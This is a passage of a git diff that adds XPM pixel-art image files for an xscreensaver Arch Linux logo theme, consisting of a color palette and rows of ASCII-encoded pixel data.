===;!!!!''''''..@@$$$$@@@@$$$$$$$$@@@@@@@@$@@@@@@@@@&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..>'''''''''''''!!!!#### ", +" ===;!!!!'''''>..@@$$$$$$$$@@@@@@$$$$@@@@@@@@@@@@@@@@&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..*'''''''''''''!!!!#### ", +" ===;!!!!'''''>..@@$$@@$$$$@@@@@@@@@@@@@@@@@@@@@@@@@@&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..*'''''''''''''!!!!=### ", +" ===>!!!!'''''>..@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..*'''''''''''''!!!!=### ", +" ====>!!!!'''''*..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..$'''''''''''''!!!!=#### ", +" ====>!!!!'''''*..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&---)!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..@'''''''''''''!!!!;#### ", +" ====>!!!!'''''*..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%----!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..@'''''''''''''!!!!;#### ", +" ====>!!!!'''''$..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%----!!!))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)&&&&#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..@'''''''''''''!!!!;#### ", +" ===='!!!!'''''@..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#----)!!)))))))))))))))))))))))))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,-&&&&$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..@'''''''''''''!!!!;#### ", +" ===='!!!!'''''@..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&----)))))))))))))))))))))))))))))),,,,,,,,,,,,,,,,,,,,,,,,,,-&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...''''''''''''''!!!>#### ", +" ===='!!!!'''''@..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%-----))))))))))))))))))))))))))))),,,,,,,,,,,,,,,,,,,,,,,,,-&&&&&#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...''''''''''''''!!!>#### ", +" ===='!!!!'''''@..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&-----)))))))))))))))))))))))))))),,,,,,,,,,,,,,,,,,,,,,,,-&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..''''''''''''''!!!>#### ", +" ===='!!!!'''''...@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$&--------))))------------------------------------------&&&&&&&&$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..''''''''''''''!!!>#### ", +" ===='!!!!'''''...@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$&--------&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..''''''''''''''!!!>#### ", +" ====!!!!!'''''..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$&------&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..>'''''''''''''!!!'#### ", +" ====!!!!!'''''..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&---&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..>'''''''''''''!!!'#### ", +" ====!!!!!'''''..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$%%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%%#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..>'''''''''''''!!!'#### ", +" ====!!!!''''''..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..*'''''''''''''!!!'#### ", +" ===;!!!!'''''>..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..*'''''''''''''!!!'#### ", +" ===;!!!!'''''>..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..*'''''''''''''!!!'#### ", +" ===;!!!!'''''>..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..$'''''''''''''!!!'#### ", +" ===;!!!!'''''*..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..$'''''''''''''!!!!#### ", +" ===;!!!!'''''*..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..@'''''''''''''!!''=### ", +" ====>!!!!'''''*..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..@'''''''''''''!'''=#### ", +" ====>!!!!'''''$..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@..@'''''''''''''''''=#### ", +" ====>!!!!'''''$..............................@@@@@@@@@@@@@@@@................................@@@@@............................@@@@@@@@......................''''''''''''''''';#### ", +" ====>!!!!'''''$.............................................................................................................................................''''''''''''''''';#### ", +" ====>!!!!'''''>............................................................................................................................................*''''''''''''''''';#### ", +" ====>!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''';#### ", +" ===='!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''>#### ", +" ===='!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''>#### ", +" ===='!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''>==>==>#>==;;''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''>#### ", +" ===='!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''>==;>;;==='#'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''>#### ", +" ===='!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''>;'>==>=;;'='''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''>#### ", +" ===='!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''#### ", +" ====!!!!'''''''''''''''''>>>>>>'''''''''''''''''''>>>>>>>>'''''>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>''''''#### ", +" ====!!!!!'>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>'''''#### ", +" ===='!!!!>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>''''>#### ", +" ===='!!!!'>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>''''>#### ", +" ====>!!!!!''''''''''>>>>>>'''''''>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>''''''=#### ", +" ====='!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''##### ", +" ====;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''''''''''''''''''''''''''''''##### ", +" =====;'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''''>###### ", +" ======>'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>=###### ", +" ========;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;============================================================================================######### ", +" ===============================================########################################################################################################################### ", +" ============================================############################################################################################################################ ", +" ========================================########################################################################################################################## ", +" ######=======================================##### ", +" #########;;;;;;;;;;;;;;;;;;;;;;=================######## ", +" ############;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=########## ", +" ############=;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=############ ", +" ##########=;>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>;=########## ", +" #########;>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>;######### ", +" ########=;>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>;=######## ", +" #######=>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>;=####### ", +" #######;>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>;####### ", +" ######=>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>=###### ", +" ######;>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>;###### ", +" #####;>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>;##### ", +" #####;>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>;##### ", +" ####=>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>=#### ", +" ####;>>>>>>>>>>>>>>>>>>>;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;>>>>>>>>>>>>>>>>>>;#### ", +" ####;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;#### ", +" ####;;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;#### ", +" ####;;;;;>''''''>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;;;#### ", +" ####;;;;;;>''''''''>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>'''''''>>;;;;;;#### ", +" #####;;;;;;>''''''''''>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>'''''''''>>;;;;;;##### ", +" #####=;;;;;;>>'''''''''''>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>'''''''''''>>;;;;;;=##### ", +" #####;;;;;;;;>'''''''''''''''>>>>>>>>>>>>>>>>>>>>>>>>>'''''''''''''''>>;;;;;;;;##### ", +" #####=;;;;;;;;>''!!!!!!!!!!!!!!!''''''''''''''''''!!!'''''''''''''>>;;;;;;;;=##### ", +" ######=;;;;;;;;;;>'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''>;;;;;;;;;;=###### ", +" #######=;;;;;;;;;;;>''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''>;;;;;;;;;;;=####### ", +" ########;;;;;;;;;;;;;;>''!!!!!!!!!!!!!!!!!!!!!!!!!!!!'>>;;;;;;;;;;;;;;######## ", +" ########=;============;;;>>'''!!!!!!!!!!!!!!''>>;;;;============;=######## ", +" #########=;;=====================;;;;;;=====================;;=######### ", +" ##########=;;==========================================;;=########## ", +" #############=;;;================================;;;=############# ", +" ##############===;;;;==================;;;;===############## ", +" #####################==============##################### ", +" ################################################## ", +" ########################################## ", +" ################################ ", +" ################## ", +" ", +" ", +" ", +" ", +" ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango-4.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango-4.xpm new file mode 100644 index 0000000..ed5d219 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-tango-4.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_tango_4_xpm[] = { +"180 180 17 1", +" c None", +". c #000200", +"+ c #171816", +"@ c #2D2F2C", +"# c #4B4D4A", +"$ c #60625F", +"% c #766B34", +"& c #70726F", +"* c #878985", +"= c #B79815", +"- c #A7A9A6", +"; c #C8CAC5", +"> c #E9D533", +", c #ECDD64", +"' c #E8EAE7", +") c #F7EFB2", +"! c #FBFDFA", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ", +" ************************************************************************************************************************************************************** ", +" ****************************************************************************************************************************************************************** ", +" ********************************************************************************************************************************************************************* ", +" ******-'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!';-***** ", +" *****;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'-**** ", +" *****'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;**** ", +" ****'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'**** ", +" ****'!!!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!!!;*** ", +" ***'!!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!!-*** ", +" ***-!!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!;*** ", +" ***'!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!*** ", +" ****!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!-*** ", +" ***-!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!;*** ", +" ***;!!!!'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!'*** ", +" ***'!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!'*** ", +" ***'!!!''''''''*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&''''''''!!!'*** ", +" ***'!!!''''''''&..................................................................................................................................................$''''''''!!!'*** ", +" ***'!!!''''''''&..................................................................................................................................................$''''''''!!!'*** ", +" ***'!!!''''''''&..................................................................................................................................................$''''''''!!!'*** ", +" ***'!!!''''''''&...#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&**********************************************************************#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#******************************************************************************************************************************************$...$''''''''!!!'*** ", +" ***'!!!''''''''&...#******************************************************************************************************************************************$...$''''''''!!!'*** ", +" ***'!!!''''''''&...#******************************************************************************************************************************************$...$''''''''!!!'*** ", +" ***'!!!''''''''&...#******************************************************************************************************************************************#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#******************************************************************************************************************************************#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#******************************************************************************************************************************************#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#********************************************************************--********************************************************************#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#**************************************************************;;'!!!!!!!!';;**************************************************************#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*-'!!!!!!!!!!!!!!!!';*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*;!!!!!!!!!!!!!!!!!!!!!!;*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*;!!!!!!!!!!!!!!!!!!!!!!!!!!;*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&-!!!!!!!!!'''''''''''!!!!!!!!!'-&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;!!!!!!!''''''''''''''''''!!!!!!!;&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;!!!!!!''''''''''''''''''''''!!!!!!;&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;!!!!!'''''''''''';;'''''''''''!!!!!!;&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&-!!!!!''''''''-*&&&&&&&&*-''''''''!!!!!-&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*!!!!!'''''';&&&&&&&&&&&&&&&&;''''''!!!!'*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#...$''''''''!!!'*** ", +" ***'!!!''''''''&...#$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&'!!!!''''';&$$$$$$$$$$$$$$$$$$&''''''!!!!'&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#...$''''''''!!!'*** ", +" ***'!!!''''''''&...@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$-!!!!'''''-$$$$$$$$$$$$$$$$$$$$$$;'''''!!!!-$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#...$''''''''!!!'*** ", +" ***'!!!''''''''&...@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'!!!!''''-$$$$$$$$$$$$$$$$$$$$$$$$-''''!!!!'$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#...$''''''''!!!'*** ", +" ***'!!!''''''''&...@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*!!!!'''';$$$$$$$$$$$$$$$$$$$$$$$$$$;''''!!!!*$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#...$''''''''!!!'*** ", +" ***'!!!''''''''&...@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$-!!!!''''$$$$$$$$$$$$$$$$$$$$$$$$$$$$''''!!!!-$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#...$''''''''!!!'*** ", +" ***'!!!''''''''&...@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$;!!!''''-$$$$$$$$$$$$$$$$$$$$$$$$$$$$-'''!!!!;$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$@...$''''''''!!!'*** ", +" ***'!!!''''''''&...@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$!!!!''''$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'!!!!!''$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$@...$''''''''!!!'*** ", +" ***'!!!''''''''&...@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&!!!!''';$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'!!!!'''&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$@...$''''''''!!!'*** ", +" ***'!!!''''''''&...@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*!!!!''';$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$;!!!!'''&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$@...$''''''''!!!'*** ", +" ***'!!!''''''''&...@#############################$$$$$$$$$$$$$$$$*!!!!''';$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$;!!!!'''*$$$$$$$$$$$$$$$$########################@@@++....$''''''''!!!'*** ", +" ***'!!!''''''''&...@#################################$$$$$$$$$$$$*!!!!''';$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$;!!!''''*$$$$$$$$$$$$#####################@@+.............$''''''''!!!'*** ", +" ***'!!!''''''''&...@################################$$$$$$$$$$$$$*!!!!''';$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$;!!!''''&$$$$$$$$$$$$$###############@++..................$''''''''!!!'*** ", +" ***'!!!''''''''&...@####################################$$$$$$$$$*!!!!''';$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$;!!!''''&$$$$$$$$$###############@+.......................$''''''''!!!'*** ", +" ***'!!!''''''''&...@#########################################$$$$*!!!!''';$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$;!!!''''&$$$$################@+...........................$''''''''!!!'*** ", +" ***'!!!''''''''&...@#############################################*!!!!''';$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$;!!!''''&#################@+..............................$''''''''!!!'*** ", +" ***'!!!''''''''&...@#############################################*!!!!''';#$$$$$$$$$$$$$$$$$$$$$$$$$$$$#;!!!''''&##############@+.................................$''''''''!!!'*** ", +" ***'!!!''''''''&...@#############################################*!!!!''';####$$$$$$$$$$$$$$$$$$$$$$####;!!!''''&###########@+....................................$''''''''!!!'*** ", +" ***'!!!''''''''&...@#############################################&!!!!''';##############################;!!!''''&########@++......................................$''''''''!!!'*** ", +" ***'!!!''''''''&...@#############################################&!!!'''';##############################;!!!''''&######@++++++....................................$''''''''!!!'*** ", +" ***'!!!''''''''&...@#############################################&!!!'''';##############################;!!!''''&###@++++++++++++.................................$''''''''!!!'*** ", +" ***'!!!''''''''&...@##########################################$$%*!!!'''';%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;!!!''''*%%@+++++++++++++++...............................$''''''''!!!'*** ", +" 